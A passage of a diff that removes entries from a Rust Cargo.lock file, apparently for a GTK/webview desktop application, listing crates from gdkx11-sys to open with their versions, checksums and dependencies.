-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "32e7a08c1e8f06f4177fb7e51a777b8c1689f743a7bc11ea91d44d2226073a88"
-dependencies = [
- "cairo-sys-rs",
- "gdk-pixbuf-sys",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "pango-sys",
- "pkg-config",
- "system-deps 6.0.2",
-]
-
-[[package]]
-name = "gdkx11-sys"
-version = "0.15.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4b7f8c7a84b407aa9b143877e267e848ff34106578b64d1e0a24bf550716178"
-dependencies = [
- "gdk-sys",
- "glib-sys",
- "libc",
- "system-deps 6.0.2",
- "x11",
-]
-
-[[package]]
-name = "generator"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc184cace1cea8335047a471cc1da80f18acf8a76f3bab2028d499e328948ec7"
-dependencies = [
- "cc",
- "libc",
- "log",
- "rustversion",
- "windows 0.32.0",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.14.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bff49e947297f3312447abdca79f45f4738097cc82b06e72054d2223f601f1b9"
-dependencies = [
- "typenum",
- "version_check",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.1.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "wasi 0.9.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4eb1a864a501629691edf6c15a593b7a51eebaa1e8468e9ddc623de7c9b58ec6"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "wasi 0.11.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "gio"
-version = "0.15.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "68fdbc90312d462781a395f7a16d96a2b379bb6ef8cd6310a2df272771c4283b"
-dependencies = [
- "bitflags",
- "futures-channel",
- "futures-core",
- "futures-io",
- "gio-sys",
- "glib",
- "libc",
- "once_cell",
- "thiserror",
-]
-
-[[package]]
-name = "gio-sys"
-version = "0.15.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "32157a475271e2c4a023382e9cab31c4584ee30a97da41d3c4e9fdd605abcf8d"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps 6.0.2",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "glib"
-version = "0.15.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "edb0306fbad0ab5428b0ca674a23893db909a98582969c9b537be4ced78c505d"
-dependencies = [
- "bitflags",
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-task",
- "glib-macros",
- "glib-sys",
- "gobject-sys",
- "libc",
- "once_cell",
- "smallvec",
- "thiserror",
-]
-
-[[package]]
-name = "glib-macros"
-version = "0.15.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "25a68131a662b04931e71891fb14aaf65ee4b44d08e8abc10f49e77418c86c64"
-dependencies = [
- "anyhow",
- "heck 0.4.0",
- "proc-macro-crate",
- "proc-macro-error",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "glib-sys"
-version = "0.15.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef4b192f8e65e9cf76cbf4ea71fa8e3be4a0e18ffe3d68b8da6836974cc5bad4"
-dependencies = [
- "libc",
- "system-deps 6.0.2",
-]
-
-[[package]]
-name = "glob"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b919933a397b79c37e33b77bb2aa3dc8eb6e165ad809e58ff75bc7db2e34574"
-
-[[package]]
-name = "globset"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0a1e17342619edbc21a964c2afbeb6c820c6a2560032872f397bb97ea127bd0a"
-dependencies = [
- "aho-corasick",
- "bstr",
- "fnv",
- "log",
- "regex",
-]
-
-[[package]]
-name = "gobject-sys"
-version = "0.15.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d57ce44246becd17153bd035ab4d32cfee096a657fc01f2231c9278378d1e0a"
-dependencies = [
- "glib-sys",
- "libc",
- "system-deps 6.0.2",
-]
-
-[[package]]
-name = "gtk"
-version = "0.15.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "92e3004a2d5d6d8b5057d2b57b3712c9529b62e82c77f25c1fecde1fd5c23bd0"
-dependencies = [
- "atk",
- "bitflags",
- "cairo-rs",
- "field-offset",
- "futures-channel",
- "gdk",
- "gdk-pixbuf",
- "gio",
- "glib",
- "gtk-sys",
- "gtk3-macros",
- "libc",
- "once_cell",
- "pango",
- "pkg-config",
-]
-
-[[package]]
-name = "gtk-sys"
-version = "0.15.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d5bc2f0587cba247f60246a0ca11fe25fb733eabc3de12d1965fc07efab87c84"
-dependencies = [
- "atk-sys",
- "cairo-sys-rs",
- "gdk-pixbuf-sys",
- "gdk-sys",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "libc",
- "pango-sys",
- "system-deps 6.0.2",
-]
-
-[[package]]
-name = "gtk3-macros"
-version = "0.15.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24f518afe90c23fba585b2d7697856f9e6a7bbc62f65588035e66f6afb01a2e9"
-dependencies = [
- "anyhow",
- "proc-macro-crate",
- "proc-macro-error",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "h2"
-version = "0.3.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5ca32592cf21ac7ccab1825cd87f6c9b3d9022c44d086172ed0966bec8af30be"
-dependencies = [
- "bytes",
- "fnv",
- "futures-core",
- "futures-sink",
- "futures-util",
- "http",
- "indexmap",
- "slab",
- "tokio",
- "tokio-util",
- "tracing",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.12.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"
-
-[[package]]
-name = "heck"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c"
-dependencies = [
- "unicode-segmentation",
-]
-
-[[package]]
-name = "heck"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2540771e65fc8cb83cd6e8a237f70c319bd5c29f78ed1084ba5d50eeac86f7f9"
-
-[[package]]
-name = "hermit-abi"
-version = "0.1.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "hmac"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
-dependencies = [
- "digest",
-]
-
-[[package]]
-name = "html5ever"
-version = "0.25.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e5c13fb08e5d4dfc151ee5e88bae63f7773d61852f3bdc73c9f4b9e1bde03148"
-dependencies = [
- "log",
- "mac",
- "markup5ever",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "http"
-version = "0.2.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75f43d41e26995c17e71ee126451dd3941010b0514a81a9d11f3b341debc2399"
-dependencies = [
- "bytes",
- "fnv",
- "itoa 1.0.4",
-]
-
-[[package]]
-name = "http-body"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1"
-dependencies = [
- "bytes",
- "http",
- "pin-project-lite",
-]
-
-[[package]]
-name = "http-range"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "21dec9db110f5f872ed9699c3ecf50cf16f423502706ba5c72462e28d3157573"
-
-[[package]]
-name = "httparse"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904"
-
-[[package]]
-name = "httpdate"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421"
-
-[[package]]
-name = "hyper"
-version = "0.14.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "02c929dc5c39e335a03c405292728118860721b10190d98c2a0f0efd5baafbac"
-dependencies = [
- "bytes",
- "futures-channel",
- "futures-core",
- "futures-util",
- "h2",
- "http",
- "http-body",
- "httparse",
- "httpdate",
- "itoa 1.0.4",
- "pin-project-lite",
- "socket2",
- "tokio",
- "tower-service",
- "tracing",
- "want",
-]
-
-[[package]]
-name = "hyper-tls"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905"
-dependencies = [
- "bytes",
- "hyper",
- "native-tls",
- "tokio",
- "tokio-native-tls",
-]
-
-[[package]]
-name = "iana-time-zone"
-version = "0.1.50"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fd911b35d940d2bd0bea0f9100068e5b97b51a1cbe13d13382f132e0365257a0"
-dependencies = [
- "android_system_properties",
- "core-foundation-sys",
- "js-sys",
- "wasm-bindgen",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "ico"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a4b3331534254a9b64095ae60d3dc2a8225a7a70229cd5888be127cdc1f6804"
-dependencies = [
- "byteorder",
- "png 0.11.0",
-]
-
-[[package]]
-name = "ident_case"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39"
-
-[[package]]
-name = "idna"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6"
-dependencies = [
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "ignore"
-version = "0.4.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "713f1b139373f96a2e0ce3ac931cd01ee973c3c5dd7c40c0c2efe96ad2b6751d"
-dependencies = [
- "crossbeam-utils",
- "globset",
- "lazy_static",
- "log",
- "memchr",
- "regex",
- "same-file",
- "thread_local",
- "walkdir",
- "winapi-util",
-]
-
-[[package]]
-name = "image"
-version = "0.24.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd8e4fb07cf672b1642304e731ef8a6a4c7891d67bb4fd4f5ce58cd6ed86803c"
-dependencies = [
- "bytemuck",
- "byteorder",
- "color_quant",
- "num-rational",
- "num-traits",
-]
-
-[[package]]
-name = "indexmap"
-version = "1.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "10a35a97730320ffe8e2d410b5d3b69279b98d2c14bdb8b70ea89ecf7888d41e"
-dependencies = [
- "autocfg",
- "hashbrown",
-]
-
-[[package]]
-name = "infer"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "20b2b533137b9cad970793453d4f921c2e91312a6d88b1085c07bc15fc51bb3b"
-dependencies = [
- "cfb",
-]
-
-[[package]]
-name = "inflate"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f5f9f47468e9a76a6452271efadc88fe865a82be91fe75e6c0c57b87ccea59d4"
-dependencies = [
- "adler32",
-]
-
-[[package]]
-name = "inotify"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4816c66d2c8ae673df83366c18341538f234a26d65a9ecea5c348b453ac1d02f"
-dependencies = [
- "bitflags",
- "inotify-sys",
- "libc",
-]
-
-[[package]]
-name = "inotify-sys"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e05c02b5e89bff3b946cedeca278abc628fe811e604f027c45a8aa3cf793d0eb"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "instant"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "iovec"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2b3ea6ff95e175473f8ffe6a7eb7c00d054240321b84c57051175fe3c1e075e"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "ipnet"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "879d54834c8c76457ef4293a689b2a8c59b076067ad77b15efafbb05f92a592b"
-
-[[package]]
-name = "itoa"
-version = "0.4.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4"
-
-[[package]]
-name = "itoa"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4217ad341ebadf8d8e724e264f13e593e0648f5b3e94b3896a5df283be015ecc"
-
-[[package]]
-name = "javascriptcore-rs"
-version = "0.16.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf053e7843f2812ff03ef5afe34bb9c06ffee120385caad4f6b9967fcd37d41c"
-dependencies = [
- "bitflags",
- "glib",
- "javascriptcore-rs-sys",
-]
-
-[[package]]
-name = "javascriptcore-rs-sys"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "905fbb87419c5cde6e3269537e4ea7d46431f3008c5d057e915ef3f115e7793c"
-dependencies = [
- "glib-sys",
- "gobject-sys",
- "libc",
- "system-deps 5.0.0",
-]
-
-[[package]]
-name = "jni"
-version = "0.19.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c6df18c2e3db7e453d3c6ac5b3e9d5182664d28788126d39b91f2d1e22b017ec"
-dependencies = [
- "cesu8",
- "combine",
- "jni-sys",
- "log",
- "thiserror",
- "walkdir",
-]
-
-[[package]]
-name = "jni-sys"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130"
-
-[[package]]
-name = "jobserver"
-version = "0.1.25"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "068b1ee6743e4d11fb9c6a1e6064b3693a1b600e7f5f5988047d98b3dc9fb90b"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "js-sys"
-version = "0.3.60"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49409df3e3bf0856b916e2ceaca09ee28e6871cf7d9ce97a692cacfdb2a25a47"
-dependencies = [
- "wasm-bindgen",
-]
-
-[[package]]
-name = "json-patch"
-version = "0.2.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f995a3c8f2bc3dd52a18a583e90f9ec109c047fa1603a853e46bcda14d2e279d"
-dependencies = [
- "serde",
- "serde_json",
- "treediff",
-]
-
-[[package]]
-name = "kernel32-sys"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d"
-dependencies = [
- "winapi 0.2.8",
- "winapi-build",
-]
-
-[[package]]
-name = "kuchiki"
-version = "0.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ea8e9c6e031377cff82ee3001dc8026cdf431ed4e2e6b51f98ab8c73484a358"
-dependencies = [
- "cssparser",
- "html5ever",
- "matches",
- "selectors",
-]
-
-[[package]]
-name = "lazy_static"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
-
-[[package]]
-name = "lazycell"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
-
-[[package]]
-name = "libc"
-version = "0.2.134"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "329c933548736bc49fd575ee68c89e8be4d260064184389a5b77517cddd99ffb"
-
-[[package]]
-name = "libdbus-sys"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c185b5b7ad900923ef3a8ff594083d4d9b5aea80bb4f32b8342363138c0d456b"
-dependencies = [
- "pkg-config",
-]
-
-[[package]]
-name = "line-wrap"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f30344350a2a51da54c1d53be93fade8a237e545dbcc4bdbe635413f2117cab9"
-dependencies = [
- "safemem",
-]
-
-[[package]]
-name = "lock_api"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "435011366fe56583b16cf956f9df0095b405b82d76425bc8981c0e22e60ec4df"
-dependencies = [
- "autocfg",
- "scopeguard",
-]
-
-[[package]]
-name = "log"
-version = "0.4.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
-dependencies = [
- "cfg-if 1.0.0",
-]
-
-[[package]]
-name = "loom"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff50ecb28bb86013e935fb6683ab1f6d3a20016f123c76fd4c27470076ac30f5"
-dependencies = [
- "cfg-if 1.0.0",
- "generator",
- "scoped-tls",
- "serde",
- "serde_json",
- "tracing",
- "tracing-subscriber",
-]
-
-[[package]]
-name = "mac"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4"
-
-[[package]]
-name = "mac-notification-sys"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3e72d50edb17756489e79d52eb146927bec8eba9dd48faadf9ef08bca3791ad5"
-dependencies = [
- "cc",
- "dirs-next",
- "objc-foundation",
- "objc_id",
- "time 0.3.15",
-]
-
-[[package]]
-name = "malloc_buf"
-version = "0.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "markup5ever"
-version = "0.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a24f40fb03852d1cdd84330cddcaf98e9ec08a7b7768e952fad3b4cf048ec8fd"
-dependencies = [
- "log",
- "phf 0.8.0",
- "phf_codegen",
- "string_cache",
- "string_cache_codegen",
- "tendril",
-]
-
-[[package]]
-name = "matchers"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558"
-dependencies = [
- "regex-automata",
-]
-
-[[package]]
-name = "matches"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3e378b66a060d48947b590737b30a1be76706c8dd7b8ba0f2fe3989c68a853f"
-
-[[package]]
-name = "memchr"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
-
-[[package]]
-name = "memoffset"
-version = "0.6.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "mime"
-version = "0.3.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d"
-
-[[package]]
-name = "minisign-verify"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "933dca44d65cdd53b355d0b73d380a2ff5da71f87f036053188bf1eab6a19881"
-
-[[package]]
-name = "miniz_oxide"
-version = "0.5.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96590ba8f175222643a85693f33d26e9c8a015f599c216509b1a6894af675d34"
-dependencies = [
- "adler",
-]
-
-[[package]]
-name = "mio"
-version = "0.6.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4afd66f5b91bf2a3bc13fad0e21caedac168ca4c707504e75585648ae80e4cc4"
-dependencies = [
- "cfg-if 0.1.10",
- "fuchsia-zircon",
- "fuchsia-zircon-sys",
- "iovec",
- "kernel32-sys",
- "libc",
- "log",
- "miow",
- "net2",
- "slab",
- "winapi 0.2.8",
-]
-
-[[package]]
-name = "mio"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57ee1c23c7c63b0c9250c339ffdc69255f110b298b901b9f6c82547b7b87caaf"
-dependencies = [
- "libc",
- "log",
- "wasi 0.11.0+wasi-snapshot-preview1",
- "windows-sys 0.36.1",
-]
-
-[[package]]
-name = "mio-extras"
-version = "2.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "52403fe290012ce777c4626790c8951324a2b9e3316b3143779c72b029742f19"
-dependencies = [
- "lazycell",
- "log",
- "mio 0.6.23",
- "slab",
-]
-
-[[package]]
-name = "miow"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ebd808424166322d4a38da87083bfddd3ac4c131334ed55856112eb06d46944d"
-dependencies = [
- "kernel32-sys",
- "net2",
- "winapi 0.2.8",
- "ws2_32-sys",
-]
-
-[[package]]
-name = "native-tls"
-version = "0.2.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fd7e2f3618557f980e0b17e8856252eee3c97fa12c54dff0ca290fb6266ca4a9"
-dependencies = [
- "lazy_static",
- "libc",
- "log",
- "openssl",
- "openssl-probe",
- "openssl-sys",
- "schannel",
- "security-framework",
- "security-framework-sys",
- "tempfile",
-]
-
-[[package]]
-name = "ndk"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2032c77e030ddee34a6787a64166008da93f6a352b629261d0fee232b8742dd4"
-dependencies = [
- "bitflags",
- "jni-sys",
- "ndk-sys",
- "num_enum",
- "thiserror",
-]
-
-[[package]]
-name = "ndk-context"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b"
-
-[[package]]
-name = "ndk-sys"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e5a6ae77c8ee183dcbbba6150e2e6b9f3f4196a7666c02a715a95692ec1fa97"
-dependencies = [
- "jni-sys",
-]
-
-[[package]]
-name = "net2"
-version = "0.2.37"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "391630d12b68002ae1e25e8f974306474966550ad82dac6886fb8910c19568ae"
-dependencies = [
- "cfg-if 0.1.10",
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "new_debug_unreachable"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54"
-
-[[package]]
-name = "nodrop"
-version = "0.1.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb"
-
-[[package]]
-name = "normpath"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "04aaf5e9cb0fbf883cc0423159eacdf96a9878022084b35c462c428cab73bcaf"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "notify"
-version = "4.0.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ae03c8c853dba7bfd23e571ff0cff7bc9dceb40a4cd684cd1681824183f45257"
-dependencies = [
- "bitflags",
- "filetime",
- "fsevent",
- "fsevent-sys",
- "inotify",
- "libc",
- "mio 0.6.23",
- "mio-extras",
- "walkdir",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "notify-rust"
-version = "4.5.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "368e89ea58df747ce88be669ae44e79783c1d30bfd540ad0fc520b3f41f0b3b0"
-dependencies = [
- "dbus",
- "mac-notification-sys",
- "tauri-winrt-notification",
-]
-
-[[package]]
-name = "ntapi"
-version = "0.3.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c28774a7fd2fbb4f0babd8237ce554b73af68021b5f695a3cebd6c59bac0980f"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "nu-ansi-term"
-version = "0.46.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84"
-dependencies = [
- "overload",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "num-integer"
-version = "0.1.45"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9"
-dependencies = [
- "autocfg",
- "num-traits",
-]
-
-[[package]]
-name = "num-iter"
-version = "0.1.43"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d03e6c028c5dc5cac6e2dec0efda81fc887605bb3d884578bb6d6bf7514e252"
-dependencies = [
- "autocfg",
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-rational"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0"
-dependencies = [
- "autocfg",
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-traits"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "num_cpus"
-version = "1.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1"
-dependencies = [
- "hermit-abi",
- "libc",
-]
-
-[[package]]
-name = "num_enum"
-version = "0.5.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf5395665662ef45796a4ff5486c5d41d29e0c09640af4c5f17fd94ee2c119c9"
-dependencies = [
- "num_enum_derive",
-]
-
-[[package]]
-name = "num_enum_derive"
-version = "0.5.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b0498641e53dd6ac1a4f22547548caa6864cc4933784319cd1775271c5a46ce"
-dependencies = [
- "proc-macro-crate",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "num_threads"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "objc"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1"
-dependencies = [
- "malloc_buf",
- "objc_exception",
-]
-
-[[package]]
-name = "objc-foundation"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9"
-dependencies = [
- "block",
- "objc",
- "objc_id",
-]
-
-[[package]]
-name = "objc_exception"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad970fb455818ad6cba4c122ad012fae53ae8b4795f86378bce65e4f6bab2ca4"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "objc_id"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b"
-dependencies = [
- "objc",
-]
-
-[[package]]
-name = "once_cell"
-version = "1.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e82dad04139b71a90c080c8463fe0dc7902db5192d939bd0950f074d014339e1"
-
-[[package]]
-name = "opaque-debug"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
-
-[[package]]
-name = "open"
-version = "2.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f2423ffbf445b82e58c3b1543655968923dd06f85432f10be2bb4f1b7122f98c"
-dependencies = [
